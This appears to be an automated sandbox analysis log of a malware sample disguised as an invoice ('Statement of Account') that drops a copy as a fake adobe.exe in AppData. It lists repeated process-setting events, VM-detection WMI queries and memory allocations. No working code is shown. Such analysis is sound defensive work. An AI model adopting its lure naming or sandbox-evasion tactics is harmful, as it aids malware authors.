Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Memory allocated: 1630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Memory allocated: 3320000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Memory allocated: 5320000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Memory allocated: F00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Memory allocated: 2B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Memory allocated: 4B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Memory allocated: 26C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Memory allocated: 2860000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Memory allocated: 4860000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Memory allocated: 1230000 memory reserve \| memory write watch	Jump to behavior
